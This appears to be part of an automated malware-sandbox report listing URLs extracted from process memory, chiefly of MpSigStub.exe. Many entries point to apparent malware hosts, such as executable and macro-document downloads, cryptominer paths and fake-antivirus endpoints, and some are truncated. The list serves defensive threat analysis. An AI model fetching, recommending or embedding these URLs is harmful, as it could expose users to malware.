        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://32player.com
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://365well.org/zload/get_exe.php?l=
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://37.10.71.35/scan001-jpeg.jar
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://37.120.206.70/dom/d.wbk
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: http://37.120.206.70/mend/
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: http://37.187.248.215/promo.php
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://3b3.org/
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://3dplayful.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmpString found in binary or memory: http://3gool.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: http://3novices.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: http://3rbfilm.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://3s249.s249327.96.lt/mss2ro37qtl3cbw9vo0lk2bx8vv7jmx2mlesim9ddw11fem3sjp3ijuoufk/mss.php
        Source: MpSigStub.exe, 00000023.00000003.18344667874.0000015B1B06E000.00000004.00000001.sdmpString found in binary or memory: http://3z.fi/evil1/PMwGWkmh
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://41.59.0.100/intranet
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: http://45.12.32.58/
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://45.12.32.87/
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://45.12.32.9/
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: http://45.138.157.216/44313
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://45.138.172.158
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://45.139.236.86/scan.wbk?raw=true
        Source: MpSigStub.exe, 00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmpString found in binary or memory: http://45.144.30.16/
        Source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmpString found in binary or memory: http://45.145.185.85xmr=network001sys=sysrv002#killoldfilespkill-9
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: http://45.150.67.233/
        Source: MpSigStub.exe, 00000023.00000003.18311861284.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://45.55.29.117/download/nsis/pb_nsissetup.exe
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpString found in binary or memory: http://45.63.107.19/PhilaeAp05.cpl
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: http://45.67.230.159/
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: http://45.77.255.68/5.sctscrobj.dll
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://45.84.1.195/
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://45.85.90.14/i88/Kpbehmu.ex
        Source: MpSigStub.exe, 00000023.00000003.18344996372.0000015B1B0B0000.00000004.00000001.sdmpString found in binary or memory: http://45.9.148.35/chimaera/bin/rpm_deb_apk/x86_64/openssh.rpm
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://45.9.148.35/chimaera/sh/
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://45.90.59.77/
        Source: MpSigStub.exe, 00000023.00000003.18327477882.0000015B1B65E000.00000004.00000001.sdmpString found in binary or memory: http://45.90.59.97/44313
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: http://46.183.220.123/wxx.doc
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://46.243.136.238/
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://47.89.187.54
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://4threquest.me/
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://5.1.83.182:8000/cgi-bin/hello.py?
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpString found in binary or memory: http://5.135.73.116/win/document_0120200.doc
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: http://5.152.203.117/tues/invoice.doc
        Source: MpSigStub.exe, 00000023.00000003.18327477882.0000015B1B65E000.00000004.00000001.sdmpString found in binary or memory: http://5.34.180.57/44313
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://5.39.124.175/files/module.exe
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://5.39.217.221/win/
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://5.39.219.206/
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://50.63.128.
        Source: MpSigStub.exe, 00000023.00000003.18299377795.0000015B1AEE3000.00000004.00000001.sdmpString found in binary or memory: http://51.254.164.244/
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://51.255.155.1/pages/filecloud/5e2d7b130cf4feb03023e580b3432fa9d71d7838.exe
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: http://51.75.142.21/
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpString found in binary or memory: http://51.81.114.167:
        Source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmpString found in binary or memory: http://513389.cn/
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://54.183.79.85/
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://54.187.129.3/
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://54.191.142.124/
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://54.191.185.232/
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://54.193.9.202/
        Source: MpSigStub.exe, 00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmpString found in binary or memory: http://54.214.246.97/log/SilentUpdater7/install
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://54.215.150.138/
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://54.237.176.95/z2.php?a=%s&b=%d&c=%d&d=%d&e=%d&f=%d&g=%s&h=%d&i=%d&z=%d&y=%d
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://54.237.176.95/z2.php?a=%s&b=%d&c=%d&d=%d&e=%d&f=%d&g=%s&h=%d&i=%d&z=%d&y=%dx
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://54.37.16.60/up/
        Source: MpSigStub.exe, 00000023.00000003.18304719860.0000015B1B7EB000.00000004.00000001.sdmpString found in binary or memory: http://56489.eu5.org
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://58.65.235.3/up/get_exa.php?l=
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://58.65.239.124/
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: http://58.65.239.82
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://5p0h.fellatiomovefilehost.net/movie.php?id=movies_n01.wmv&cid=
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://5p0h.fellatiomovefilehost.net/movie.php?id=movies_n01.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://5starvideos.com/main/
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://5starvideos.com/main/K
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://5starvideos.com/main/K5
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpString found in binary or memory: http://5u2mr.com/unbbmevd/d76.php?l=oev4.cab
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://61.135.159.183/installer/sobar.exe
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://61.160.222.11:
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://61.19.253.
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpString found in binary or memory: http://62.109.31.216/
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://62.210.214.
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://63.219.176.248/
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://63.219.178.162/
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://63.219.178.162/CFL/
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://63.219.178.162/EX/
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://63.219.178.162/EX/x
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://63.219.178.162/K/F
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://63.219.178.162/NL2/?w=
        Source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmpString found in binary or memory: http://64.156.31.
        Source: MpSigStub.exe, 00000023.00000003.18334520035.0000015B1A6C6000.00000004.00000001.sdmpString found in binary or memory: http://64.27.0.205
        Source: MpSigStub.exe, 00000023.00000003.18334520035.0000015B1A6C6000.00000004.00000001.sdmpString found in binary or memory: http://64.27.0.205/up/calc2.bin
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://64.28.184.4/js.php?id=2011
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://65.181.112.251/coke/w8.txt
        Source: MpSigStub.exe, 00000023.00000003.18299696915.0000015B1AF24000.00000004.00000001.sdmpString found in binary or memory: http://65.243.103.
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://65.243.103.58/trafc-2/rfe.php
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://65.243.103.58/trafc-2/rfe.phpg
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://65.243.103.80/80
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://66.117.6.174/ups.rar
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://66.148.74.7/zu2/zc.php
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://66.40.9.246/binaries
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://66.98.138.92/PH/
        Source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmpString found in binary or memory: http://67.15.
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://67.210.122.222/~turks/lego/
        Source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmpString found in binary or memory: http://68.178.225.162
        Source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmpString found in binary or memory: http://69.31.80.
        Source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmpString found in binary or memory: http://69.31.84.223/
        Source: MpSigStub.exe, 00000023.00000003.18320598062.0000015B1B598000.00000004.00000001.sdmpString found in binary or memory: http://69.50.164.11/v1/mh.php?pid=%s&cid=%s&p=%s&t=%s&vh=%i&vt=%i
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://69.64.36.110/msn.php?email=
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://6flp.fellatiomovefilehost.net/movie.php?id=movies_n01.wmv&cid=
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: http://6tof.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18301236868.0000015B1B97A000.00000004.00000001.sdmpString found in binary or memory: http://7-.j-z-0-3-0-u-u-x-f-1l-3-l-h-w-b-q-z-u-5-n-l-l-m-s-5-v-s-z-g.info
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://70.38.40.185
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://72.29.80.113/~nossacai/
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://74.cz
        Source: MpSigStub.exe, 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmpString found in binary or memory: http://75.127.1.211/hkcmd/document.doc
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: http://76h1.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmpString found in binary or memory: http://77.221.149.219
        Source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmpString found in binary or memory: http://77.221.149.219/
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: http://77.81.225.138/carnaval2017.zip
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: http://78.128.92.108/document/word.doc
        Source: MpSigStub.exe, 00000023.00000003.18350843348.0000015B1B3CA000.00000004.00000001.sdmpString found in binary or memory: http://78.157.143.251
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://78.24.220.183/
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://78.soupay.com/plugin/g.asp?id=
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://79.125.7.221/
        Source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmpString found in binary or memory: http://8.8.8.8/
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: http://81.16.141.208/q37kkp
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://81.176.237.140/serv/
        Source: MpSigStub.exe, 00000023.00000003.18430430309.0000015B1C0EF000.00000004.00000001.sdmpString found in binary or memory: http://81.177.26.20/ayayay
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://81.29.241.70/new/counter.phpframeborder=
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://82.118.23.186/
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: http://82.98.119.68/wp-admin/app/alim.doc
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpString found in binary or memory: http://82.98.119.68/wp-admin/app/updates.doc
        Source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmpString found in binary or memory: http://82.98.235.
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://82.98.235.63/cgi-bin/check/autoaff3
        Source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpString found in binary or memory: http://83.136.232.110/44285
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://83.149.75.54/cgi-bin
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: http://83.166.242.164/desktop-st7lsde/
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: http://83.166.242.164/desktop-st7lsde/bid/relay.dot
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: http://83.166.242.164/desktop-st7lsde/nay.dot
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: http://83.166.246.59/sgz2/rejoice/lowered.dot
        Source: MpSigStub.exe, 00000023.00000003.18316847212.0000015B1B582000.00000004.00000001.sdmpString found in binary or memory: http://85.17.138.60
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://85.17.3.151/cgi-bin
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://85.234.191.170/inst.php?id=
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://85.234.191.a7
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://85.255.11
        Source: MpSigStub.exe, 00000023.00000003.18334520035.0000015B1A6C6000.00000004.00000001.sdmpString found in binary or memory: http://85.255.119
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://85.255.11http://ad.eltext.comhttp://ad.tuzikmedia.biz.rsrc
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://88.208.17.127/
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://888888.2288.org/Monitor_INI
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://88888888.7766.org/ExeIni
        Source: MpSigStub.exe, 00000023.00000003.18299696915.0000015B1AF24000.00000004.00000001.sdmpString found in binary or memory: http://89.188.16.
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://89.188.16.18/
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: http://89.248.161.2/yourdoc.doc
        Source: MpSigStub.exe, 00000023.00000003.18292431996.0000015B1BA3D000.00000004.00000001.sdmpString found in binary or memory: http://89.45.14.196/p1/server
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://8nasrcity.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://91.108.68.202/up.php
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://91.142.64.91/quantserve/quant.js
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://91.188.117.157/
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://91.188.124.171/
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://91.196.216.64/s.php?ref=
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: http://91.227.18.58/sqwere/casma.gif
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://91.238.134.77/
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://91.239.15.61/google.js
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://92.222.7.
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: http://92.38.135.46/43cfqysryip51zzq.php
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://92.63.197.106/c.exe
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://92.63.197.153/blowjob.exe
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: http://92.63.197.153/good.exe
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://92.63.197.48/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://92.63.197.48/g
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://92.63.197.48/m/tm.exe%temp%
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://92.63.197.60/c.exe
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: http://93.189.43.3/kinsingchmod
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://94.102.14.
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://94.103.85.236/ds/11.gif
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpString found in binary or memory: http://94.23.210.144/promo/promo.php
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpString found in binary or memory: http://94.23.39.156/fakeav/files.php?jsoncallback=?
        Source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmpString found in binary or memory: http://94.75.
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://95.173.183.
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://95.46.99.199/template.doc
        Source: MpSigStub.exe, 00000023.00000003.18334520035.0000015B1A6C6000.00000004.00000001.sdmpString found in binary or memory: http://95.64.47.164/
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://980.jlbtcg.cn
        Source: MpSigStub.exe, 00000023.00000003.18316847212.0000015B1B582000.00000004.00000001.sdmpString found in binary or memory: http://9ifz.org/2345
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpString found in binary or memory: http://9nag0.com/unbbmevd/d76.php?l=oev2.cab
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://9o0gle.com/
        Source: MpSigStub.exe, 00000023.00000003.18305343223.0000015B1C4E5000.00000004.00000001.sdmpString found in binary or memory: http://Andrei512.narod.ru
        Source: RegAsm.exe, 00000008.00000002.21904007601.000000001E471000.00000004.00000001.sdmpString found in binary or memory: http://DynDns.comDynDNS
        Source: RegAsm.exe, 00000008.00000002.21904007601.000000001E471000.00000004.00000001.sdmpString found in binary or memory: http://JgQKqy.com
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://Motobit.cz
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://Viewpics.DYNU.com/views.php?dir=pics&section=hot&clip=14
        Source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmpString found in binary or memory: http://YOURSITE.com/bot.exea
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://Yyl.mofish.cn/interFace/ActiveSeed.aspx
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://Yyl.mofish.cn/interface/SeedInstall.aspx
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://Yyl.mofish.cn/wevoo/data.dat
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://Yyl.mofish.cn/wevoo/data/data
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://Yyl.mofish.cn/wevoo/lists/200
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpString found in binary or memory: http://a-search.biz/&
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://a.pomf.cat/
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: http://a.pomf.cat/zjiqnx.html
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://a.pomfe.co/hnwila.xml
